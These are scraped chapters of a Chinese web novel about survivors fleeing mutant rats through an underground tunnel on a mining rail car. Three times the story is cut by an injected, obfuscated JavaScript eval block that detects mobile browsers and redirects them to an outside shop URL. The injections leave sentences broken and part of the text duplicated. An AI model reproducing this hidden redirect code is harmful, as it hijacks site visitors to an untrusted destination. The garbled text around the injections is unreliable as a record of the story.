虽然不知道云霄南的操纵时间可以做到什么程度,但时间的一部分就是信息差,她的全知能力替她获得了不少信息,要骗人并不是难事。 她向三个人介绍了学分的构成和进化定律。 为了真实性,她保留了那些她还不知道答案的信息。 当然,有关于教室内的新势力和老师被杀的消息,她并不打算透露。这些人已经承受足够多的死亡压力了,不必要再给她们施加威胁。 “未知的第四条途径和100分……你是说你的能力受到了限制,还有待开发,那你知道要怎么开发吗?”竹女托腮思考着。 “那你是不是可以穿越回过去,就不用来这鬼地方了!”常乐立刻替她指了条康庄大道。 黎歌苦笑道:“我现在只是掌握了入门,需要更多进化的时间才行,很多事情我也没有方法和答案。况且,祝福能力会附带些副作用,比如,我的命和你们的命是相连的,你们当中再有任何一个人死亡,我就会死。” “化妆师被鼠虫杀死的时候,我因为通感能力而剧痛,从天花板上掉了下来,险些丧命,这可以证明我没有撒谎。” “所以,你们不用担心我会用祝福能力对你们做什么。” 脆弱的眼神望着竹女。她自认把分寸感拿捏得刚刚好,在九成的真话里杂揉了不过一点点自保的谎言。当然,她并不指望三言两语可以虏获所有人的信任,她只需要将她们此时完全封闭的内心,撬开一丝裂缝。 竹女的语气有了些许犹豫:“我……我不是怀疑你,我只是想要知道真相。” “对不起,是不是我们拖累了你?”常乐后知后觉,那些她不解的逻辑都联系在一起之后,善良地生出了愧疚之心。 就像现在这样,生造出一条缝隙。 然后,往里头填入一枚种子。 “不,恰恰相反。”黎歌按捺住想要上扬的嘴角,铺垫已经足够了,她将亲手种下这颗完美的谎言种子,“在我看到的未来里,我离开了这里,回到了厦城,在路口跟你们一一道别。命运大概想让你们和我一起离开。” “我可以活着离开这里?”班长终于抬起了头,沙哑着嗓音跟黎歌确认。 “真好。”常乐弯着眼睛笑了。 竹女的肩膀肉眼可见地松了劲:“太好了,这个糟践生命的世界,我一秒也不想多待了。” 要有希望。 如果没有希望,就创造希望。 至此,黎歌悬着的心放了下来。 竹香味再度浓郁起来:“我叫霍青山,今年32岁,是一名人民警察。谢谢你,虽然我已经道过谢了,但我知道那不够郑重。” 霍青山笔挺地站着军姿:“我在队内比武大赛拿过第一名,能打,抗摔。你是祝福者,你比我更强大,你需要我做什么,我会听从你的指挥、为你所用。” 常乐也跟着表态:“我平时有健身的爱好。虽然我健康有点问题……但我发誓我绝对不会拖你后腿!” 等下。 为什么感觉气氛突然肉麻起来了…… 黎歌忍不住补充:“倒不必发誓,我们只是合作关系。我想要回去上大学,你们也各自有要回去的理由。” “信任是合作的基石,你需要我们信任你,我们也需要你的信任,相信我们不会拖累你。一起离开这里吧。” 霍青山的话说得十分认真。 见好就收,话再多下去,恐怕容易露馅。黎歌抿了抿嘴唇,道:“行,那就跳过中间的步骤,我们直奔主题。” 她尝试动了动脚踝。 不到2秒,她闪现在体育馆后面。489号防空洞是一道圆形的管道,一道阶梯往下延伸,消失在光的尽头,伸手不见五指。洞口有一圈凹槽,隐藏着自动闭合的金属门。 她指着防空洞,朝另一端扬声道:“我们从这里离开。” 霍青山:“?” 常乐:“??” 常乐迟疑地往身后指:“回教室的门,不是那一扇吗?” “那只鼠虫是从防空洞钻出来的,里面很可能是它们的老巢。”霍青山提醒道,同时疑惑,虽然只有短暂几句对话,但黎歌的聪明她心里有底,她不认为她不知道。 “路上再解释。”黎歌看了看倒计时。 云霄南预言他们会死在体育馆内。 如果他们现在就离开体育馆,预言岂不是不攻自破? 更何况,她没有第二条选择。下课铃一响,那个癫公闯入体育馆的第一件事就是追杀她。 他追,那她就逃。黎歌板起脸来。 进入防空洞之前,她最后看了眼化妆师的尸体,她唯一不知道姓名的人。 好黑。 这是黎歌第一感观。 管道的直径约为2m,不算窄。光亮处隐约能看到金属阶梯有锈迹,要是摔倒划伤了,得破伤风的风险极高,她只能确保每一步尽量踩得结实,往下走。 “等等我们。”伴随着一声喊,常乐搀扶着霍青山,很快跟进了防空洞。 “很干燥的空间。”霍青山跳进空间内,打量了一圈,简单判断,“老鼠喜好阴湿,这里离他们的水源应该还有一段距离。” 说明短时间内他们不会碰到危险。常乐好奇地问:“那它怎么会从这里钻出来?” “那道金属门可能有特殊设计,能够释放一些讯息,类似于,过路的鼠虫你好啊,这里是体育馆,这里有食物。”霍青山猜测。 黎歌:“……”画面感太强了。 一直以为人民警察都是正儿八经的性格,但只言片语能看得出来,霍青山在生活中应当是个有趣的人。 她回头,见到霍青山身后,班长也跟了进来。 班长动作似乎有些局促,五官在昏暗中模糊不清:“我叫方京华,我不敢一个人留在体育馆,我想跟着你们……” 没有人接话。 “大家把校服的领子拉起来,捂住口鼻,袖子裹住手。不确定鼠虫的巢穴有多少致命病菌,尽量做好防护。我在前面领路,你们别滑倒,别受伤,毕竟我们没有医疗药品。” 霍青山提醒道。 她自然而然地就走到了队伍的最前面,连带着常乐一起。 防空管道走到了尽头,一条长长的隧道出现在眼前。 隧道的空间开阔了许多,挨着墙的这端是操作台。锈迹斑斑的机器悬挂在墙上,复杂的红绿按钮排布其上,蛛网四结,闸刀开关静谧地沉睡在丝线里。 黎歌用校服裹着手,做好防护后将闸刀拉了下来。 电器低频地震动,两秒后,电流顺着墙上纵横的电路轨道,唤醒了光明。 太好了,电路居然可以正常使用! 映入眼帘的空旷区域中,天花板盘虬着金属轨道,延伸向远处,隐入黑暗之中。轨道垂下一条条铁海带,末端焊接着高低错落的两个宽铁块。 黎歌在电视上见过,这种装置叫做“猴车”,是一种载人工具,通常应用在矿区内,方便矿工进出。 矿区吗…… 有了光和电,控制台上的显示屏亮了起来。加载的读条刚刚走完,屏幕出现一颗巨大的感叹号。 【九章:警告,你已闯入鼠虫虫域,虫域内污染指数3星,请尽快离开!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616111|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是它。黎歌凑近控制台,这是台老式计算机,找不到鼠标,有个类似摇杆的设计可以操控显示屏上面的光标。 跳过安全提示以后,一张3D地图出现在界面上。复杂得无法分辨方位……如果说长长的一道代表着隧道,它们几乎以立体的方式纵横交错。有些隧道连接着小房间,大概率是功能区。这里用符号代替着文字,筷子可能是餐厅,药瓶有可能是医务室,也可能是实验室,铲车样式的标志倒是可以简单地分辨是作业区。 当中,几乎在每个功能区,都有一片房间上标记一根横线,横线上放置着一颗球。 “跷跷板?”常乐看得十分困惑。 霍青山分析道:“假设这里是个可以完全自给自足的小社会,应该要有粮仓,或者种植区,运用排除法,这个符号和食物相关的可能性很大。” 有道理。黎歌点点头。与此同时常乐问:“这里是鼠虫的窝,还能找到食物吗?耗子生来会打洞,会不会早把东西吃光了?” 没有答案的线索先视为有效线索。黎歌尝试记忆这些地图。 识海自动出现了一片片暗区,陈列在两个已开启的虫巢旁边。 看来虫巢天赋的开启条件就是解锁地图?有这个可能性,第一次收到骨文关于虫巢的提示时,恰好是预备要离开人虫教室的时候。体育馆情况也雷同。 也就是说,如果她把鼠虫的虫域都走一遍,可能可以在脑海里将它复刻出来。 几人四下搜查着,企图能搜出些有利的信息。霍青山打开了控制台下方虚掩的铁柜,运气很好,她陆续从里面掏出好几个工具,刚好一人一件,可以作为防身武器。 “给。”霍青山递过来一个扳手,还有一本书。 书泛着发霉的臭味,十分陈旧,封面都是陌生文字,跟操作台上的文字雷同。 这里的人不使用中文、英文甚至骨文。 常乐和方京华一并围观了过来。书被打开了。入眼是被啃食得密密麻麻的虫洞,一粒粒乳白的肉虫堆叠在一起蠕动着,发出嘶嘶的咀嚼声…… “……!”霍青山条件反射把它合上了,而常乐也在瞬间捂住了眼睛,紧咬着牙才没叫出声。 “原来书虫是真的存在的!”常乐感觉自己浑身长起了鸡皮疙瘩。 黎歌刚才的注意力有一半在记忆地图上,只是扫了眼书里的内容,突然眼前一亮:“给我。” “全是虫子,小孩,你得做好心理准备。”霍青山好心提醒了下。 黎歌忽略掉她的称呼,蹲下来,拿着书对着地板敲了敲,把书虫从里面抖出来。扉页被打开,千疮百孔中还保留着几只书虫翻滚着,但更显眼的内容很快吸引了她们注意力。 因为,那是一串中文! 【1989年7月1日星期六闷 挖不完的隧道,监不完的工,无聊得要发霉了。饿饿饿饿饿…… 葫芦娃和奥特曼到底谁更强,好难猜啊!】 这位记录者也是穿越者! 这可能是操作台的说明书,或者是员工训练手册,黎歌无从辨别,因为书里都是陌生文字。而记录者在边角的位置,用中文信手涂鸦写日记,打发ta的无聊时光。 在大量的无效信息中,手册的末尾,记录者的字迹突然变得十分凌乱。 【1992年12月27日星期六绝望 鼠疫攻陷了第一基地。盟军与人虫彻底决裂,强迫我们这些平民人虫出战,我很快就会死。如果死亡可以让我们的痛苦结束,这算不算是happyending?说起来我还没有看完楚留香的大结局呢,赵雅芝可真漂亮啊……】 霍青山震惊:“1989……也就是早在36年前甚至更早,就已经有人穿越过来了!” “还有其他物件被留下吗?”黎歌追问。这位记录者很聪明,直觉告诉她,记录者会想办法留下更多有效信息。 霍青山听罢,再次蹲下身往铁柜里面搜索。此时,手指在昏暗中摸索,突然触碰到一团软绵绵又热乎的生物。 被惊醒的老鼠从柜子中窜了出去! “啊!”方京华和常乐吓得一蹦三尺。 黎歌也被吓着了,倒不是老鼠,主要是另外三个人短促的喊声。她后知后觉才发现那是老鼠,低头看到霍青山仍旧蹲着,问道:“你们看清楚了吗?” 方京华尝试搭话:“好像是田鼠。” 其他人没有接她的话,气氛有短暂的凝固,过了会儿常乐看向黎歌:“就是田鼠,尖嘴,长尾巴,会吱吱叫的那种,就是颜色好像不太对。” “可能这里的老鼠并不是都能变异成鼠虫……”霍青山说着话,声音突然变得有些奇怪。 黎歌见她仍旧保持蹲着的姿势:“你在掏什么?” 短暂的停顿后,霍青山把手拿了出来:“你们……做好心理准备。” 微黄的灯光下面,掌心中,一群肉团蠕动着。刚出生不久的幼鼠们尚未长出毛发来,舞动着爪子和尾巴,宛如肉粉色的虫子在翻滚着。 有些奇怪。黎歌凑近了一点,拿扳手拨了拨肉团:“幼鼠会长内脏吗?” “当然,没有内脏就死了。” “但它们还活着。” 黎歌说完,霍青山硬着头皮凑近了观察,发现这些肉团的腹部果然是空的,里面仅剩一根粉嫩的脊柱,贴着鼠背生长。 大约察觉到了人的气息,十几双鼠眼睛裂开了缝隙,睁开猩红的瞳孔。 11. 第一基地11 “……”霍青山毫不犹豫地把它们抛了出去! 肉团子砸在金属墙上,留下一片血印。 “变异了,虽然跟体育馆那只长得不一样,但明显不是正常老鼠的形态。”霍青山反复地擦拭着她的掌心,忍不住问黎歌,“你为什么不怕?” 黎歌盯着墙上的血渍,又回头看了看来时路,通向上方的管道已经透不出一丝光线。她问:“为什么它选择在这里生产?” 问题被忽略了……霍青山感觉自己有点跟不上这个高中生的思维:“我也刚到,它没告诉我。” 常乐笑了。这时候并不适合笑,奈何有人开玩笑。 总有这样一群人,他们知道如何在紧张的时刻开解自己,即便在糟糕的处境中,也能保持乐观的心态。 黎歌正要开口,视线突然顿住了,三人顺着她的视线,这才发现操作界面的文字不知道什么时候刷新了。 【九章:鼠虫已被击杀,结算总学分120分。存活4人,依据第一基地人虫训练手册,将学分进行平均分配。】 【九章:1617号、002号、615号、566号各获得30学分,学分为60.5,60.5,60.5,60.5。】 “难道是我刚才摔死的那些小老鼠?”惊讶之余,霍青山几乎可以肯定这个答案。 “12只,意味着每只10个学分。”常乐硬着头皮算了算墙上的血迹,朝黎歌看过来,“它们好像和体育馆那只鼠虫的学分是一样的?” 胜利的烟花几乎炸在了眼前。 事情竟然如此简单? “这是不是意味着,我们并不需要去杀那些危险系数很高的鼠虫,掏一掏鼠窝,一样可以凑够学分?”霍青山畅想着,常乐凑过来,两人开始讨论去哪里找到这样的鼠窝。 总觉得哪里不对。 所以,它为什么选择在这里生产? 黎歌顺着问题思考,分析道:“生物在野外繁衍的本能,应该会避开天敌,其次是靠近水源和食物。这里是它们的虫域,不存在天敌,作业区看不到水源,那么只剩一种可能性。” “这里靠近食物。”黎歌望向体育馆的位置。 常乐暂停了和霍青山的讨论,追问:“你是说这群老鼠吃人……肉?!” 黎歌想了想:“这已经不是秘密了。我担心的是另一件事。” “在一个废弃的防控管道里的固定位置,随时会出现新的食物,会导致什么?” “会导致什么?”常乐疑惑地问。 扳手轻碰着金属柜子,霍青山开始跟上黎歌的思路:“鼠群会聚集在附近,觅食,繁衍,鼠窝的老鼠性成熟后,又繁衍出新的鼠窝……” 几人的脸色有了不同程度的变化。 一阵诡异感再度涌上了心头,逐渐具化成了响动,咯吱咯吱,窸窸窣窣…… 不对!常乐抱紧了自己的胳膊:“你们有没有听到什么声音?” “什么东西在朝我们靠近!”霍青山握紧了她的新扳手武器,倚着拐杖,四下寻觅声音的来源。 源源不断的动静令人生出了极度反感的情绪,常乐的声音不可遏制地发抖:“我们是不是回体育馆躲一躲?” 吱吱的叫声在空荡的隧道内交织。 伴随着金属摩擦的声音。 它们是进化永恒的幸存者,拥有恐怖的繁殖能力,仅一对老鼠就足够生出由上千只老鼠构成的庞大族群。 它们无处不在。可能钻过臭水沟,翻过腐尸遍野的战壕,转眼就爬上了人类装点着鲜花烛光的浪漫晚餐,然后抖动着它们灰褐色的毛发,抖落大量的病毒,鼠疫、汉坦病毒等等,不费吹灰之力可以做到屠城。 人类对老鼠的恐惧,就像怕蛇一样,是刻在了基因里的。 鼠疫,记录者写下了这两字。 曾经在全球杀死过七千万人类的恐怖疫病,又叫黑死病。发病者表现为谵妄、皮肤瘀斑出血、败血症等等,死亡率一度高达50%。 黎歌的额头渗出了汗水,她的目光散落在隧道各处,试图找到一个可以让她们藏身的地方。 不能回体育馆,一旦回去就会被困住,会撞上云霄南。 逃吗?对她来说轻而易举,她可以背着霍青山,但另外两个人就无法被兼顾上。 只剩一个办法。 黎歌迅速转过身,视线在操作台复杂的按钮中梭巡着。 “你在找什么?”常乐焦急地问。 “猴车的启动键。”黎歌头也不回地答道,“坐猴车离开这里,你们不想要知道怎么离开这里吗,答案不可能会在体育馆内……” 操作台的按钮非常之复杂,密密麻麻,有长有短,除了极易辨识的屏幕按钮以外,其余大小都各自雷同。 为了方便操作员分辨它们的职责,有人贴心地贴上了文字标注。 坏消息是,黎歌看不懂。 “让我看看。”一道试探性的声音在她身后响起,方京华在旁边站了有一会儿,选择了出声。 她将碎发拨到耳后,露出简洁干练的面容,努力扮出一丝镇定和讨好:“我,我能看懂一些阿拉伯文,西班牙文,印尼文,和简单的越南文,另外,我是个销售,主要对接工程项目,包括煤矿,所以我对这些设备还算比较了解。让我试试……可以吗?” 黎歌果断地让出了位置。 简单地扫了几眼后,方京华道:“刚才我有注意到这些文字,它好像是由不同的文字拼接起来的。我不能百分百确认,但是有一部分近似越南语,最接近启动键的应该是这个。” 她指了指一颗红色按钮。 没有时间了,不等众人犹豫完,黎歌直接将它摁了下去。 机械传动的声音在头顶响起,猴车缓缓醒来,朝上客区驶来。 “先上猴车,”霍青山跳到了众人的最后面,催促着她们进入上客区,“大家抓紧,我有不祥的预感,刚才逃走的鼠虫可能通风报信去了。” 密密麻麻的动静从四面八方传来,恐惧感一层层叠加,直到撞到他们的嗓子眼。 她们一一坐上了猴车。铁疙瘩坐起来几乎与舒适不沾边,谨防坠落,众人只能紧紧地抱住眼前的铁杆。 数秒后,鼠潮从刚才操作台的上方倾泻而下! 仿佛涌动的河流,一颗颗尖尖的鼠虫脑袋窜动着,爬过那些幼鼠的尸体。但凡晚几步,这些鼠虫就会摔在她们头顶! 鼠潮分成了两部分,一小部分朝体育馆的方向去,另一股则紧追着猴车来了。 那是一只硕大的鼹鼠鼠虫,与体育馆那只可怖的鼠虫体型相差无几。皮毛里有东西涌动着,一颗颗,一粒粒,像蠕动的肉疙瘩。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616112|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 仔细一看,却是一只又一只无毛鼠虫。它们的腹部都是空的,仅剩脊柱与皮毛连着…… “吱吱吱吱——” 鼠叫声在金属通道中回荡着。 一只无毛鼠从鼠虫皮肤里站了起来,纵身一跃,裸露的肚皮在风中变成了翼膜,使它往前滑翔出了一段距离。 霍青山拎起扳手,将几乎就要飞到脸上的无毛鼠打了下去! 它们居然会飞! “唉!”惯性的作用差点把霍青山带了出去,她惊出冷汗。此时她的姿势非常别扭,她用仅剩的那条腿死死的扣着猴车,伸出一只手固定住自己,才有办法空出战斗的手来。 她在队伍的最后面,与黎歌距离有1米,是伸手无法够到的位置。常乐和方京华在更前方心有余悸地看着她战斗。 “它们会不会追上来?”常乐密集恐惧症犯了,她感觉猴车和鼠群的距离在逐步缩短。可隧道里除了一两个切线的哨岗以外,根本没有可以躲藏的房间。 也没有人。她们好像进入了一座由鼠虫构成的巨大坟墓中。 此时,黎歌把眼睛闭上了。 【使用鼠虫技能【寻踪】】 她的视觉限制被瞬间解除! 眼皮上出现了一套透明地图。她透过隧道表面的金属,看到了里面的土壤,以及土壤中蠕动的虫子。 而就在下一个转弯的地方,另一批鼠虫开始集结,它们从隧道两边稀稀拉拉落下来,汇合在一起。 它们在前方等着她们,就像等一道旋转自助餐送到嘴边。 糟糕,马上就会陷入腹背受敌的状态! 后面还有霍青山顶着,但如果鼠群从前面进攻,方京华和常乐马上就会陷入险境。 【饥饿值:49(饥饿值持续下跌,战力值下降且进入不稳定态,请尽快进食)】 【战力值:35】 饥饿令寻踪仅仅持续了很短暂的时间。 她饿了。先前的体力支出和恐慌,消耗了她的能量,而且消耗速度远超乎了她的想象。她需要尽快进食。 要想其他人活下来,她必须保证自己的强大。 黎歌睁开眼,紧咬着后槽牙,面向身后的人开口:“霍青山,你把食物藏在了哪里?” 正全神贯注注意着鼠虫东西的霍青山,身形肉眼可见地僵了一下,声音带着些闪躲:“你这小孩,不叫声霍警官,好歹要叫声姐姐吧?” 黎歌已经锁定了她的校服腹部有异常的鼓囊处,没理会她的顾左右而言他:“体育馆后面的桌子上有水和食物,你去过那里,离开的时候,桌上是空的,只可能是你取走了。” “……有水?”常乐和方京华几乎是条件反射地咽了口水。 她们的嘴唇起皮了,身体对这个字出现了前所未有的渴求反应。 水和食物?她们从来不知道体育馆内有这些。 扳手高高抬起来,干净漂亮地又砸到了一只鼠虫。霍青山收拾完鼠虫,咬牙道:“不能给你。” “我现在很需要食物。”黎歌不可避免地有点急了。 霍青山握着扳手的那只手紧紧捂上校服拉链处,眼神锐利起来:“如果你要抢,我就松开手然后从猴车摔下去。我死了,你也会死,所以你最好不要抢。” 霍青山瞬间从黎歌的眼神里读到了攻击性! 12. 第一基地12 这令她不得不拉开与铁杆的距离:“等等,你曲解了我的意思!” 鼠虫们仍旧坚持不懈地追着他们,这种时候并不合适有争端。 但黎歌在刹那间想了3种可以抢夺食物的办法。 刚才,她没有听到任何说谎的味道。 也就是说,霍青山是真的想用死亡来要挟她。 霍青山少有得有些后悔。面前的队友太靠谱,以至于她时不时会忘了,黎歌不过才18岁,她阅历不深,且跟自己存在着代沟。 身为年长者,自己应该用更巧妙的方式去引导,而不是强硬地拒绝她的请求。霍青山迅速地解释:“你很早就发现我拿走了食物,但直到现在才开口,说明你并不担心我会独占食物。首先感谢你的信任,其次我猜测,大概率是因为你的祝福能力对你提出了进食的要求,我猜对了吗?我想问你,小孩,现在是你的穷途末路时刻吗?” “……我不确定。”黎歌回答。 霍青山进一步道:“在我们原来的世界,人可能会因为各种原因死去,但只有一种死法概率是最低的——那就是饿死。在大街上要钱有困难,但是要口饭吃的话,一定会有好心人伸出援手,还可以求助于政府。我们生活在粮食富足的时代,所以很难想象吃不上饭的苦日子,但你现在必须要想,我怀里的这些压缩饼干、肉罐头、水,有没有可能是我们在这个所谓鼠虫虫域唯一的食物。” 黎歌有点烦躁:“你说的这些我都知道。” 霍青山又问:“食物吃完了,下一步该怎么办,你确定可以找到新的食物吗?如果不确定,你再思考思考我刚才的问题,现在是你无计可施的时候吗?” 饥饿值下降一定程度上影响了黎歌的判断,但在霍青山穷追不舍的问题中,她逐渐冷静下来:“你说得对。” 霍青山确实将她一把拉回了现实——她不能确定饥饿值提升后,自己是不是就能想到解决的办法。食物是他们的希望之一,不应该现在就消耗掉。 “霍青山,后面这些鼠群可以交给你吗?”黎歌问。 霍青山有一种直觉,黎歌有解决办法了。 好快的情绪恢复能力……她几乎没有太多挣扎,就把她自己从失控边缘拉扯回来,现在的她看起来比自己更加冷静。 霍青山心中一片滚烫,她感觉自己久违找回了那年轻的、蓬勃向上的能量。 “当然,”霍青山斩钉截铁道,“坐着的老娘是无敌的。” 黎歌对她点点头:“我会回来接你。千万别被那几只会飞的鼠虫咬到了。” 霍青山意识到不对:“等等,你为什么强调后面的鼠群,难道前面也有危险?你想要做什么?” “找食物。先前的地图显示,这附近有一个补给站。” “……小孩,我以为刚才的话题已经算过去了。这都什么时候了,你还想着找吃的!现在最重要的事情难道不是找一个安全的避难所躲起来吗?” “不,现在最重要的事情是吃饭,”黎歌握紧铁杆,试着抬起脚踩上座位,打滑了两次,终于从位置上站了起来,“吃饱了,才有赢的可能。” 霍青山简直要被年轻人的思维折磨疯了:“如果那个地图是假的呢!如果补给站是空的呢!这关系着我们四个人的人命,你确定这个决策是正确的吗?” 霍青山还在说话,但黎歌并不是每个字都能听清。 她现在要思考很多东西。 比如她和常乐的距离大约一米,猴车在飞速往前,而铁杆则在不固定地晃动着。很难,但她必须要跳过去。 按照她们目前的时速,大概几分钟就可以跟前面的鼠虫撞上。她们现在被困在铁杆上,根本没有还手的力量。 不能够硬碰硬,更加不能被动,她进入虫域的目的是要找到阿尔法鼠,抱头鼠窜只会让后面的生存几率大大受影响。 一边思考,她控制住紧张得几乎要跃出嗓子眼的心跳,空出嘴巴来,回了三个字:“赌一把。” 她吸入一大口气,朝常乐的位置跳了过去。 那道抛物线稳稳当当地落在了理想的位置,而常乐下意识闭眼睛,还没有忘记伸出一只手来,把黎歌一条腿死死揽住,防止她坠下去。 “你吓死我了!”常乐挪出一块地方,够黎歌的脚有受力。 她仰头,看向站着的黎歌,又往后看了眼让她头皮发麻的鼠群,问:“现在要用打火机了吗?” 黎歌一愣,没想到她还记着这件事。 刚才在体育馆,如果她去点燃缓冲垫,凭借着火的威慑力,也能够给她自己争取一些生存机会。 如同即将溺亡的人,他们会抓住一切手边能够着的物件来求生。方京华和化妆师都在极度恐慌中,稀里糊涂就把从教室带出来的武器用了。至少丢出去那刻,他们是期待自己可以得到解救。 所以如果当时慌乱中常乐使用了打火机,黎歌也并不意外。承诺只是承诺而已。 她没用,黎歌也仅仅以为她忘了这个武器的存在…… 原来她只是因为没有得到授意。 黎歌问:“你想怎么用?” 常乐作出脱衣服状,指了指霍青山身后的鼠群:“拿校服当引燃物,丢下去烧死它们!” “猴车速度太快了,很可能砸不中它们。就算砸中了,它们鼠多势众,很快就可以把火碾灭。但这是个思路。” 黎歌若有所思,伸出了手:“东西给我。” 不确定到底行还是不行,但常乐没有作多余的辩解,毫不犹豫掏出了打火机,搁置在她手心里。 黎歌又问:“会用扳手吗?” 常乐点头:“会的,一个不懂修理的博主开不好房车。” 黎歌“嗯”了一声,嘱咐道:“那就好,等下有鼠虫从上面的吊轨爬过来,记得把它们打下去。” 常乐吃惊,眼神不自觉地往前看:“你看到未来的事情了?鼠群不是在后面吗?你是说正前方也有……” 不等她从自己嘴里得到肯定的回答,她的脸色已经发青了。一串鼠虫不知从哪里爬上了猴车的吊轨,迅速地从正前方向她们爬来! 没时间了。黎歌把打火机揣好,再度复刻了刚才的动作,从常乐的猴车离开,跳到了方京华的身边,拎着扳手就砸向第一只迎面飞来的鼠虫。 与此同时,方京华发出了刺耳的尖叫声:“啊!!!” 溺水者将手伸出水面,一把攥住了黎歌! 黎歌原就仅凭着脚尖支撑着身体,瞬间被方京华拉扯得失去了平衡。 但身体此刻超乎常人的韧性,令她在后仰的过程中找到了诡异的支点,攥住铁杆,双臂迸发出使她滞空的力量,二度飞跃回刚才的落脚点。 又是这样,又是这样!常乐把一切看在眼里,胸前的怒火忍无可忍:“姓方的,你有什么大病吧!谁帮你你就害谁?刚才是霍警官,现在是小黎歌,一次又一次,你带没带脑子?” 霍青山低声喝住了她:“常乐,你冷静下来。” “我冷静?”常乐无法理解霍警官的结论,怒火烧得更旺了,“我们凭什么要管她?她这种人,就让她去……” 最后一个字几乎要涌出牙缝了,可那个字对她来说过分艰难,硬生生吞了回去。 “她死了,小孩也会死。”霍青山的声音凿进了她愤怒的火池中,仿佛一个巨大的冰山倾倒下来,火池瞬间就平息了。 常乐偃旗息鼓,颓然道:“对不起,我居然忘了这么重要的事……” 霍青山望向黎歌的背影,即便有一万个不理解,但她按捺住了,咬牙道:“一个能打胜仗的队伍,只容得下一颗大脑。现在是她在思考,你和我必须接受她的选择。我们都需要冷静。” 混乱的噪音。 “对不起,对不起……”意识到自己刚才做了什么,方京华的大脑陷入了混乱,眼泪大滴大滴失控地涌出来,“我没有想要害你。我不知道为什么,我控制不了自己,我太害怕了……” 黎歌一把攥住她的衣领扯到眼前,语速飞快地问:“方京华,猴车的控制器旁边有三行文字,是不是指方向,哪个字是左?” “……是。”方京华一时间没有反应过来,她原以为黎歌会动手,黎歌是祝福者,想要报复自己简直轻而易举。 黎歌的问题二度楔入她的思维:“所以,哪个字是左?” “我,我没有百分百的把握,有一个封闭图形的应该是左,两个是右,剩下的指中间。” “行。”黎歌松开她。刚才,紧贴着自己小臂的胸腔被泪水濡湿,那枚跳动的心脏乱得不能再乱了。这让黎歌一阵头疼。方京华的年龄比她大了两轮,而她根本就没有安抚年长者的经验。 “会数秒吗?” “……什,什么?” “数30秒,一切就会结束。现在就开始数。” 黎歌说完话,也没时间管方京华听懂没听懂,咬牙跳下了猴车。 “1,2,3……”方京华一边哭,一边数数。她不知道自己数的标准不标准,但是不知道为什么,原来混乱到几乎窒息的心跳渐渐平复,一下又一下。 长久以来,她奉行的是求人不如求己的生活原则。但她开始理解那个娘娘腔男人临死前看向黎歌的眼神,那是信徒的叩问,期盼着他的神,将自己从绝境中拯救出去。 就像现在的自己。 “不要慌,看清楚,就好像打苍蝇一样,利用扳手最大的那一面,瞄准飞过来的鼠虫,看准了打过去!”霍青山指挥道。 没有人知道黎歌干什么去了。 现在的处境容不下任何杂念,她们只需要做好两件事,打飞鼠,和数秒。 飞驰中,一道分岔路出现在了不远处。顺着猴车吊轨的方向,一群鼠虫在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616113|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右侧集结,成批地攀爬过来,数量之众让人不禁恶寒。 “14,15,16……” 在数到第16秒时,猴车恰好来到了分岔口,正在此时,吊轨出现轻微地振动,从右侧的轨道上移开,往左偏移,接上了左边的吊轨。 而左边的吊轨上空无一物,没有任何威胁! 上一秒,方京华感觉自己就要被前方的鼠潮淹没了,下一秒,转向后的猴车进入了最最静谧的隧道,那样得祥和,如果有天堂存在,一定就是长这般模样。 影子从哨岗里跃了出来,黎歌改变完猴车行进的方向后,以惊人的速度追赶上转向的猴车,喊道:“最后10秒,数完就往右手边跳,速度要快!” 三人不约而同地发现她把校服脱了,裹成一团抓在手里。里面的黑色无袖T恤被汗水粘黏在她身上,雪白的、从未经受过任何风霜的肌肤此时沾染了灰尘和蛛网,肌肉线条因为脏污而肉眼可见的一点点更加清晰,造物主正当着所有人的面,在改写她的基因。 她追上猴车,又超过了猴车,在几百米外停下来,把她的校服放置在吊轨的正下方。做完这一切的她转过身来,正对着她们三人,然后把手抬起来指向她左边的空间里。 好像在说:“数秒结束后,你们正好会落到这个地方,藏进去,你们就安全了。” 方京华和常乐立刻挣扎着从猴车上站起来,站好扶稳后,常乐突然想起什么,扭头紧张地看向霍青山:“霍警官,你能跳吗?” 只靠着一条腿,在疾驰的猴车上根本无法找到平衡,但霍青山并不想示弱,果断道:“能。” “27,28,29……30!” 黎歌蹲下身。 三个人同时间跳了下来,视线仅来得及看到一阵窜起的火光,光的传播速度远远快于声音,随后,在摔落地的瞬间,她们听到了鼠虫们被火炙烤的惨叫声。 常乐顾不上砸在地面上的擦伤,往右看,黎歌把自己当成缓冲垫垫在了霍青山的身后。不知道她受没受伤,但她几乎马上就爬了起来,把霍青山往自己背上拉,背着人跑了过来。 右边是一个类似于电梯模样的东西。 